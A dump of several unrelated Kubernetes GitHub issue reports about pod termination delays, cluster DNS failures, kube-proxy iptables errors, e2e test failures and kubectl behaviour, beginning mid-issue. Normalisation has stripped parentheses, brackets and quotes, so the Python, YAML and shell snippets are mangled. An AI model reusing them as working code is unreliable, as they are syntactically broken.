ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal\r id: ynth:esps:nhs7:ztbg:wpf6:6uxw:zee5:jxmu:ivxj:dwjw:64bf:oy5c\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r insecure registries:\r  127.0.0.0/8\r registries: docker.io  secure \r \r - others:\r the local k8s images are as follow:\r $ sudo docker images\r repository                                               tag                 image id            created             size\r gcr.io/google_containers/kube-proxy-amd64                v1.9.0              f6f363e6e98e        2 weeks ago         109.1 mb\r k8s.gcr.io/kube-proxy-amd64                              v1.9.0              f6f363e6e98e        2 weeks ago         109.1 mb\r gcr.io/google_containers/kube-apiserver-amd64            v1.9.0              7bff5aa286d7        2 weeks ago         210.4 mb\r k8s.gcr.io/kube-apiserver-amd64                          v1.9.0              7bff5aa286d7        2 weeks ago         210.4 mb\r k8s.gcr.io/kube-controller-manager-amd64                 v1.9.0              3bb172f9452c        2 weeks ago         137.8 mb\r gcr.io/google_containers/kube-controller-manager-amd64   v1.9.0              3bb172f9452c        2 weeks ago         137.8 mb\r gcr.io/google_containers/kube-scheduler-amd64            v1.9.0              5ceb21996307        2 weeks ago         62.7 mb\r k8s.gcr.io/kube-scheduler-amd64                          v1.9.0              5ceb21996307        2 weeks ago         62.7 mb\r quay.io/coreos/flannel                                   v0.9.1-amd64        2b736d06ca4c        7 weeks ago         51.31 mb\r gcr.io/google_containers/k8s-dns-sidecar-amd64           1.14.7              db76ee297b85        10 weeks ago        42.03 mb\r k8s.gcr.io/k8s-dns-sidecar-amd64                         1.14.7              db76ee297b85        10 weeks ago        42.03 mb\r gcr.io/google_containers/k8s-dns-kube-dns-amd64          1.14.7              5d049a8c4eec        10 weeks ago        50.27 mb\r k8s.gcr.io/k8s-dns-kube-dns-amd64                        1.14.7              5d049a8c4eec        10 weeks ago        50.27 mb\r gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64     1.14.7              5feec37454f4        10 weeks ago        40.95 mb\r k8s.gcr.io/k8s-dns-dnsmasq-nanny-amd64                   1.14.7              5feec37454f4        10 weeks ago        40.95 mb\r gcr.io/google_containers/etcd-amd64                      3.1.10              1406502a6459        4 months ago        192.7 mb\r k8s.gcr.io/etcd-amd64                                    3.1.10              1406502a6459        4 months ago        192.7 mb\r gcr.io/google_containers/pause-amd64                     3.0                 99e59f495ffa        20 months ago       746.9 kb\r k8s.gcr.io/pause-amd64                                   3.0                 99e59f495ffa        20 months ago       746.9 kb\r \r   \r

as the resizing feature evolves, we need some e2e tests that can detect volume corruption and make the tests fail if that happens.\r \r i will add more details, as i figure out the details.\r \r 

 \r \r \r   what happened  :\r i have a pod running a python app as the main container with a statsd sidecar container.  i'm running 100 of these in a statefulset.  it takes over a minute to stop and start a new version of this pod.  the python app exits within 5 seconds of receiving the sigterm and the statsd container exits almost immediately.  after the two containers exit the pod is stuck for up to a minute with a status of  terminating  and ready of  0/2  as seen with the  kubectl get pod  command. \r \r   what you expected to happen  :\r restarts of this pod should occur within 10 seconds. \r \r   how to reproduce it  as minimally and precisely as possible   :\r i was able to reproduce the issue using the python code below by running two containers in the same pod and using two different exit delays.  the issue seems to be caused by the two containers having some gap between exiting.  i could trigger the issue with as little as a 2 second difference between the containers exiting.  that means i can deploy updates significantly faster if both containers take 10 seconds to exit than i can if one container takes 1 second to exit and the other takes 3 seconds.\r \r after watching a bunch of these it also seems like the pod stays in the ready state longer than it should but i'm not sure what the official spot is to check if it is really  ready .  it seems like as soon as the sigterm is sent the pod should be marked not ready.\r \r    \r import signal\r import sys\r import time\r \r loop = true\r \r def signal_handler signum, frame :\r     global loop\r     print 'got signal, sleeping'\r     time.sleep int sys.argv 1   \r     print 'done sleeping'\r     loop = false\r \r signal.signal signal.sigterm, signal_handler \r \r while loop:\r     time.sleep 1 \r \r print 'exiting'\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.8\r - cloud provider or hardware configuration: aws provisioned\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : 4.4.115-k8s\r - install tools: kops 1.8.1\r - others: flannel networking\r \r

deleteoptions.orphandependents has been deprecated, instead should use propagationpolicy\r \r 

failing job\r    sig-release-1.11-blocking gke-ingress-1.11  https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gke-ingress-1.11 \r \r    error\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-ingress/2836\r \r something went wrong: failed to prepare test environment: --provider=gke boskos failed to acquire project: resource not found\r \r  / /  /milestone v1.11\r @kubernetes/sig-testing-bugs\r \r cc @jberkus @tpepper\r \r /assign @bentheelder to investigate

what happened  :\r i want to setup a static pod on ubuntu 16.04.\r \r first appended  cluster-dns  and  cluster-domain  arguments and restart kubelet, i could assure the arguments are affective.\r \r    bash\r   ps -ef | grep kubelet\r root     14180     1  2 17:38 ?        00:00:08 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubelet.d/ --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --config=/var/lib/kubelet/config.yaml --cgroup-driver=cgroupfs --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --network-plugin=cni\r    \r \r i ran dnsbox on this node and try to resolve a running service:\r    bash\r   nslookup etcd1\r ;; connection timed out; no servers could be reached\r    \r \r i try to run nslookup on other nodes and i can get the correct result:\r    bash\r   nslookup etcd1\r server:\t\t10.96.0.10\r address:\t10.96.0.10 53\r \r name:\tetcd1.default.svc.cluster.local\r address: 10.111.61.56\r    \r \r   what you expected to happen  :\r i expect that the static pod running on this node can get the correct dns.\r \r - kubernetes version  use  kubectl version  :\r    bash\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r kubelet version on the certain node:\r \r    bash\r   kubelet --version\r kubernetes v1.11.2\r    \r \r - cloud provider or hardware configuration:\r custom setup kubernetes cluster on ubuntu 16.05\r \r - os  e.g. from /etc/os-release :\r    bash\r   cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    bash\r   uname -a\r linux k8s-etcd01 4.4.0-134-generic  160-ubuntu smp wed aug 15 14:58:00 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r  kubeadm \r \r - others:\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r     what happened  :\r we have a deployment of 800 pods, there was a redeployment yesterday of all the pods at once don't know why it wasn't with rolling update, usually it is . we have a cluster of 113 nodes and this deployment is probably spreaded on all of the nodes, so all of the pods were recreated at once so in 23 of the servers we saw in kube-proxy logs that it could not reload the iptables.\r and it caused unreachability for new pods in those nodes including this deployment i mentioned.\r so 160 pods out of 800 were not reachable.\r \r   what you expected to happen  :\r that all of the pods will come back up smoothly \r \r   how to reproduce it  as minimally and precisely as possible   :\r probably to redeploy this massive deployment at once\r \r   anything else we need to know?  :\r we have available resources for this cluster so a rolling update will perform well. 5 days ago we upgraded this deployment from 600 pods to 800 pods.\r all of the 113 machines are 40 core 192 gb memory.\r we are running vanilla kubernetes.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\   v1.11.3  \ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r - cloud provider or hardware configuration:\r bare metal dell \r - os  e.g. from /etc/os-release :\r centos linux release 7.3.1611  core \r - kernel  e.g.  uname -a  :\r 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r vanilla kubernetes\r - others:\r if anything else is needed i'll provide it.\r btw i tried to restart the firewalld and the kube-proxy, it didn't fix the problem, only a reboot did.\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r the following e2e test failed on my local cluster.\r - dynamicprovisioner  slow   it  should provision storage with different parameters\r \r    \r - failure  6.240 seconds \r  sig-storage  dynamic provisioning\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/framework.go:22\r   dynamicprovisioner  slow \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:259\r     should provision storage with different parameters  it \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:260\r \r     expected\r         <int>: 0\r     not to equal\r         <int>: 0\r \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:1189\r    \r   what you expected to happen  :\r my k8s node has no zone lables.\r    \r $ cluster/kubectl.sh describe node\r name:               127.0.0.1\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/arch=amd64\r                     kubernetes.io/hostname=127.0.0.1\r                     kubernetes.io/os=linux\r    \r the test tries to get zone labels by getrandomclusterzone   at first.\r it fails because of getting no zone labels.\r \r i think that it's better to skip than fail if a k8s node does not have zone labels.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-alpha.2.359+0fdb65efa0d6c7-dirty\ , gitcommit:\ 0fdb65efa0d6c7d9ca81f6e218e97824909dc4c3\ , gittreestate:\ dirty\ , builddate:\ 2019-02-06t01:08:26z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-alpha.2.359+0fdb65efa0d6c7-dirty\ , gitcommit:\ 0fdb65efa0d6c7d9ca81f6e218e97824909dc4c3\ , gittreestate:\ dirty\ , builddate:\ 2019-02-06t01:08:26z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: local cluster using local-up-cluster.sh\r - os  e.g. from /etc/os-release : ubuntu 18.04.1\r - kernel  e.g.  uname -a  : 4.15.0-43-generic\r - install tools: \r - others:\r

10762 added automatic doc transformation and a basic pass to add tables of contents to files.  the toc generator in cmd/mungedocs/toc.go needs to be enhanced as follows: - right now it indents the toc entries by  spaces =   numsharpsofheading - 1    2 .  but when a document starts with, say,      , then the table of contents will start with a four space indent, which causes markdown to not properly render it as a bulleted list.  so, fix this. - right now     inside block quotes are being treated as headings.  there are lots of these.  need to detect when inside a block quota.  suggest assuming that block quotes are always at start of line.  once that is done, add the following block to the appropriate place at the top of approximately all .md files under docs:        table of contents   <!-- begin generated toc --> <!-- end generated toc -->      then run hack/run-mungedocs.sh.

func  sv  secretvolume  isreadonly   bool {     return false }      it should probably be true?

there are a number of downstream use cases where we want to re-use this code, but its current structure makes it difficult.  making an issue to track them so we can solve. - separate the core code into a \ defaulting\  and \ reject/admit\  flow - expose it's internal cache for reuse  /cc @deads2k @sosiouxme - please add to this list and i will look to address once kube 1.2 is branched.

i have realized that i am in the unenviable position of needing to use a tunneling proxy between  a  the machine running  kubectl  as part of  kube-up.sh  and  b  the apiserver just installed.  that is, the machine running kubectl is not allowed to open a tcp connection to port 8080 on the apiserver machine.  but, of course, it _can_ open a tcp connection to port 22  otherwise  kube-up.sh  would not run at all .  i expect this will be a temporary problem for me, and am not sure whether it is of interest to anyone else.  but, for now, i have to cope with this.

i have a second nic card in my servers, which are capable of having public ips routed over them so that i can do failover with keepalived, etc.  i am using version v1.2.0-alpha.3 / v1.2.0-alpha.7.  the ip address in question is 164.132.217.81 and is setup using these commands:      ip addr add 164.132.217.81/28 dev cbr0 ip route add default via 164.132.217.94 dev cbr0 table 125 ip rule add from 164.132.217.80/28 table 125      the iptables rules that it has added for this ip address are:      -a kube-services -d 164.132.217.81/32 -p tcp -m comment --comment \ default/test: external ip\  -m tcp --dport 80 -j kube-mark-masq -a kube-services -d 164.132.217.81/32 -p tcp -m comment --comment \ default/test: external ip\  -m tcp --dport 80 -m physdev ! --physdev-is-in -m addrtype ! --src-type local -j kube-svc-35s3ezig46qf2fdr -a kube-services -d 164.132.217.81/32 -p tcp -m comment --comment \ default/test: external ip\  -m tcp --dport 80 -m addrtype --dst-type local -j kube-svc-35s3ezig46qf2fdr      when accessing this ip on port 80 with curl, it will just hang and eventually timeout.  this article seems to be a similar issue, although not sure if this affects how the kube-proxy would work: http://williamsbdev.com/posts/docker-connection-marking  any help would be appreciated!  /cc @thockin

one of the issues we face right now is that the various addons and cluster components have flags and parameters.  it's not at all clear which params apply to all settings, and which just apply to some, or what all the valid options are.  it strikes me as awfully similar to linux's kconfig.  imagine if things like network integrations and addons just registered themselves by existing in specific dirs with specifically named files.  some  make config  process would walk the dirs, joining the input files into a tree of options, and then would allow you to configure your cluster turnup.  once finished, it would generate a  cluster.yaml  or something which would be used by kube-up  or its successors  to set up the cluster.  that yaml could even find itsway into a config map.  this would be somethign users could check in to version control or share with colleagues or for support tickets.  this would be infinitely better than the existing config-default junk we have.  obviously this is an idea, and not fully formed.  @mikedanese

there is a method called  getcontainerip  which uses nsenter to do some work related to the name of the function.  having spent some time working on downward api for pod ip, i found this method a bit confusing.  in general i feel like it would be helpful to disambiguate the handling of ips in the kubelet, either in developer documentation or code comments.  @kubernetes/sig-node @kubernetes/sig-network

we have several performance test running in node-e2e now, but we saw large variations over builds from test results. it makes setting the limits for latency and resource usage really hard. here are some potential causes of the variations:   1  we simply trust that if the tests run in series, and everything has been cleaned across the tests, they should not interfere each other. however, this might not be true, i am going to give some data here;   2  the latency of creating a batch of pods is mainly limited by qps limit, instead of kubelet itself. in addition, the variation mainly happens during updating pod status, the latency of pod creation is stable. see issue  31143 or check the live data http://node-perf-dash.k8s.io/   3  the relative variation is large if we only test a few pods, for example, the result of creating 105 pods is more stable than 10 pods.  <br> in order to make the tests report performance regression correctly, we may make some improvements:   1  add more tests. currently the running tests are: 1  creating 10 pods in batch; 2  creating 10 pods in series with 50 pods running; 3  resource usage with 10 pods running. we should have tests that run more pods.   2  in order to remove interference, we only run one test on a node in node benchmark tests. but the overhead is too large for series tests. we may consider move all performance tests into benchmark tests  kubelet-benchmark-gce-e2e-ci . currently we do not verify limits in benchmark tests. it should be changed if we want to move performance tests.   3  run tests with different api qps limits to test kubelet's 'real' latency  <br> here are some data on performance interference between tests. i run 3 tests  creating a batch of 10, 35, 105 pods on a gce n1-standard-1 machine . they run in series with a random order as follows: <img src=\ https://cloud.githubusercontent.com/assets/11655397/18571571/4b1b1888-7b68-11e6-8bb2-c0096f6328a6.png\  width=\ 30%\ , height=\ 30%\ >  we can see the test performance is somehow related with their execution order, especially for memeory usage and when  10, 35 pods  run after  105 pods :  <img src=\ https://cloud.githubusercontent.com/assets/11655397/18571629/a8c5fa52-7b68-11e6-902d-e487b7826753.png\  width=\ 50%\ , height=\ 50%\ >   figure 1. creating a batch of 10 pods    <br> <img src=\ https://cloud.githubusercontent.com/assets/11655397/18571646/d40be104-7b68-11e6-9e02-9adb543e0c21.png\  width=\ 50%\ , height=\ 50%\ >   figure 2. creating a batch of 35 pods    <br> <img src=\ https://cloud.githubusercontent.com/assets/11655397/18571666/f77909be-7b68-11e6-84aa-c9f3d15d2a18.png\  width=\ 50%\ , height=\ 50%\ >   figure 2. creating a batch of 105 pods

create this deamonset\r    yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: daemon-test\r   labels:\r     app: daemon-test\r spec:\r   selector:\r     matchlabels:\r       app: daemon-test\r   template:\r     metadata:\r       labels:\r         app: daemon-test\r     spec:\r       containers:\r       - image: busybox\r         command:\r         - sleep\r         - \ 36000\ \r         resources:\r           limits:\r             cpu: 200m\r             memory: 100mi\r           requests:\r             cpu: 20m\r             memory: 20mi\r       restartpolicy: always\r    \r \r with \r    console\r $ kubectl create -f daemonset.yaml\r error: error validating \ /tmp/daemon.yaml\ : error validating data: field name: is required; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r which is a confusing error. \r the code to change is: https://github.com/kubernetes/kubernetes/blob/master/pkg/api/validation/validation.go l1717\r it can mention that path of the parent object missing the name. \r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r  openstack ,  error while bringing up minion  and a few others\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r  v1.5.2 \r \r   environment  :\r -   cloud provider or hardware configuration  :  openstack \r -   os    e.g. from /etc/os-release : centos\r -   kernel    e.g.  uname -a  :  linux kube-stack-master 3.10.0-327.28.3.el7.x86_64  1 smp thu aug 18 19:05:49 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :  openstack-heat  provider\r \r \r   what happened  :\r the _openstack-heat_ provider only installs _salt-minions_, no _salt-master_. the configuration does not take this into account which causes the following issues:\r \r - the _salt minion_ is not able to dns resolve  salt   see fist part of error log below \r - the _salt-minion_ is daemonized and fails finding the master  second part of error log below . from my understanding is not required when there is no salt-master, as the setup uses  salt-call  \r anyway  see  gce provider  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/configure-vm.sh l328-l339  as reference .\r \r    \r jan 31 03:00:04 kube-stack-master salt-minion 9795 :  error     dns lookup of 'salt' failed.\r jan 31 03:00:04 kube-stack-master salt-minion 9795 :  error     master hostname: 'salt' not found. retrying in 30 seconds\r ...\r jan 31 02:35:30 kube-stack-master salt-minion 9690 :  error     error while bringing up minion for multi-master. is master at salt responding?\r    \r \r   what you expected to happen  :\r either  salt-minion  should not be daemonized or it should be able to find a master  internally or externally .\r \r both issues can be solved by adding the non-deamon install flag  -x  in  run-salt.sh .\r \r the dns lookup error alone can be fixed by providing a  /etc/salt/minion.d/local.conf  as describer in the  salt-docs  https://docs.saltstack.com/en/latest/topics/tutorials/quickstart.html . \r \r will create pr\r \r   how to reproduce it    as minimally and precisely as possible :\r just use the provider in the standard way:\r  kubernetes_provider=openstack-heat ./cluster/kube-up.sh \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r enhancement.\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r we have  --feature-gates  flag in help info of every main components. and all of them have the same options listed.\r \r    \r accelerators=true|false  alpha - default=false \r advancedauditing=true|false  alpha - default=false \r affinityinannotations=true|false  alpha - default=false \r allalpha=true|false  alpha - default=false \r allowexttrafficlocalendpoints=true|false  default=true \r apparmor=true|false  beta - default=true \r dynamickubeletconfig=true|false  alpha - default=false \r dynamicvolumeprovisioning=true|false  alpha - default=true \r experimentalcriticalpodannotation=true|false  alpha - default=false \r experimentalhostusernamespacedefaulting=true|false  beta - default=false \r persistentlocalvolumes=true|false  alpha - default=false \r streamingproxyredirects=true|false  beta - default=true \r taintbasedevictions=true|false  alpha - default=false \r    \r \r when users want to switch a feature gate on, it's hard to know which components need to enable the flag. take  affinityinannotations  for example, users might know they should enable this flag for apiserver and scheduler. but how about controller-manager and kubelet? they might need or not. for kube-proxy, it obviously doesn't need to enable this flag.\r \r   what you expected to happen  :\r only show the options for components which need them. it would be good to have a documentation to guide users.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r 

\r rest_test.go:1551: \ service has two same ports with different protocols and specifies same nodeports\ : unexpected error: service \ foo\  is invalid: spec.ports 0 .nodeport: invalid value: 30054: provided port is already allocated\r    \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49286/pull-kubernetes-unit/42616/\r \r @kubernetes/sig-network-test-failures

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm trying to add '--runtime-config=batch/v2alpha1=true'  for cronjob  to the startup command of kube-apiserver.manifest, but the manifest file always reset to original content after reboot. after some digging i found out that gce vm nodes created with 'kube-up.sh' always completely re-install k8s binaries and manifests on each boot. is there anyway i can customize the manifests on a 'kube-up.sh' cluster?\r \r   what you expected to happen  :\r \r i expect that 'kube-up.sh'  or configure-helper.sh  provide a way to allow the user make persistent changes to the manifests.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. 'kube-up.sh' to bootstrap a cluster on gce.\r 2. 'ssh' into kube-master, make some changes to '/etc/kubernetes/manifests/kube-apiserver.manifest'.\r 3. reboot kube-master, and the manifest is reset.\r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when  /proc/self/mountinfo  contains any line with empty mount source, kubelet fails with the following error:\r \r    \r f0712 12:18:16.047292    4663 server.go:260  failed to run kubelet: error found less than 3 fields post '-' in \ 269 68 0:108 / /tmp/bb rw,relatime shared:147 - tmpfs  rw\ \r    \r \r   what you expected to happen  :\r \r this error shouldn't occur and mountinfo lines with empty mount source should be parsed properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ mkdir /tmp/bb\r $ sudo mount -t tmpfs \ \  /tmp/bb\r $ ./hack/local-up-cluster.sh\r  ... \r w0712 12:18:17 : kubelet terminated unexpectedly, see /tmp/kubelet.log\r    \r \r   anything else we need to know?  :\r \r this error occurs in many tools which are parsing mountinfo, i.e. util-linux, runc. links for patches and pull requests:\r \r https://www.spinics.net/lists/linux-fsdevel/msg128896.html\r https://github.com/opencontainers/runc/pull/1829\r https://github.com/opencontainers/runtime-tools/pull/652\r \r there is also an attempt to fix that issue properly on kernel side - to use  none  string when source is empty:\r \r https://patchwork.kernel.org/patch/10349095/\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : opensuse tumbleweed\r - kernel  e.g.  uname -a  : linux latitude 4.17.2-1-default  1 smp preempt sat jun 16 10:58:03 utc 2018  ddde22d  x86_64 x86_64 x86_64 gnu/linux\r - install tools:  ./hack/local-up-cluster.sh \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r @kubernetes/sig-multicluster\r @kubernetes/sig-cluster-lifecycle\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  kind feature\r \r \r   what happened  :\r usage of admin.conf for multi masters using multiple master entries with same cluster name.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r trying to access multi master  without load balancer  using admin.conf for pod deployment.\r we are able to access masters s  by placing all master ips with having single cluster name. somehow this works when one of master goes down, kubectl is able to switch to another master ip.\r as we want to have only 1 logical logical cluster and without master lb, kubectl client should able to connect to masters  any one of master \r \r   anything else we need to know?  :\r is it ok to use same cluster name for multiple entries in admin.conf to access multiple masters  within single k8s cluster  without having master lb\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration:vmware\r - os  e.g. from /etc/os-release : rhel 7.5\r - kernel  e.g.  uname -a  :3.10.0-862.2.3.el7.x86_64\r - install tools:\r - others:\r

when there is no configuration, kubectl's default port changes depending on --server argument\r \r    bash\r   tries to connect 127.0.0.1:8080\r kubectl cluster-info\r    \r \r    bash\r   tries to connect 127.0.0.1:80\r kubectl cluster-info --server 127.0.0.1\r    \r \r i think just specifying ip with --server shouldn't change the default port.  or make the port required for --server option

what happened  :\r \r after fixing golint failures under  test/e2e   now still in progress , we need to put  gomega  for each  expect    and  haveoccurred   .\r then very common error checking code has become like:\r \r  gomega.expect err .notto gomega.haveoccurred    \r \r we can replace this code with  framework.expectnoerror err   which is more readable and easy to be understood what the code does.\r \r now we have following e2e test directories which can be replaced:\r   -  x  shows done \r -  x  test/e2e  @oomichi https://github.com/kubernetes/kubernetes/pull/77693 \r -  x  test/e2e/apimachinery  @draveness https://github.com/kubernetes/kubernetes/pull/77708 \r -  x  test/e2e/apps  https://github.com/kubernetes/kubernetes/pull/77894 \r -  x  test/e2e/auth  @oomichi \r -  x  test/e2e/autoscaling  @s-ito-ts \r -  x  test/e2e/common  @oomichi https://github.com/kubernetes/kubernetes/pull/78042 \r -  x  test/e2e/framework/providers/gce\r -  x  test/e2e/lifecycle  @atoato88 https://github.com/kubernetes/kubernetes/pull/77649 \r -  x  test/e2e/lifecycle/bootstrap  @atoato88 https://github.com/kubernetes/kubernetes/pull/77754 \r -  x  test/e2e/network  @k-toyoda-pi https://github.com/kubernetes/kubernetes/pull/77901 https://github.com/kubernetes/kubernetes/pull/77909 \r -  x  test/e2e/node  @s-ito-ts https://github.com/kubernetes/kubernetes/pull/77902 \r -  x  test/e2e/instrumentation  @draveness \r -  x  test/e2e/kubectl  @draveness \r -  x  test/e2e/scalability  @oomichi https://github.com/kubernetes/kubernetes/pull/77890 \r -  x  test/e2e/scheduling  @oomichi https://github.com/kubernetes/kubernetes/pull/77890 \r -  x  test/e2e/servicecatalog\r -  x  e2e/storage/vsphere  https://github.com/kubernetes/kubernetes/pull/78021 \r -  x  test/e2e/ui  @draveness \r -  x  test/e2e/upgrades/apps  @draveness https://github.com/kubernetes/kubernetes/pull/77627 \r -  x  test/e2e/upgrades  @oomichi https://github.com/kubernetes/kubernetes/pull/77955 \r -  x  test/e2e/upgrades/storage  @draveness \r -  x  test/e2e/windows  @draveness \r \r after finishing all the above, we need to add the checking script to the ci system for blocking prs which contain this issue:\r \r -     https://github.com/kubernetes/kubernetes/pull/77612

k8s's version is 1.14.0.\r i use kubeadm to install k8s, like this:\r    \r     kubeadm init --pod-network-cidr=172.20.0.0/16\r     kubectl apply -f rbac-kdd.yaml\r     kubectl apply -f calico.yml\r    \r every pod and service are running, but pod cannot resolve hostname from dns. the service kube-dns has a cluster-ip which is 10.96.0.10, i use a pod to test, like this:\r  kubectl exec -ti dig -- nslookup kubernetes \r output:  connection timed out; no servers could be reached \r i find the same issue here:   41341  https://github.com/kubernetes/kubernetes/issues/41341 , and according to that issue, i also try this:\r nc -w1 -v 10.96.0.1 443\r 10.96.0.1  10.96.0.1:443  open\r nc -w1 -v -z 10.96.0.10 53\r 10.96.0.10  10.96.0.10:53 : operation timed out\r \r what should i do?\r \r i find the node can access cluster-ip by use  telent 10.96.0.10 53 , but in docker container it cannot access.

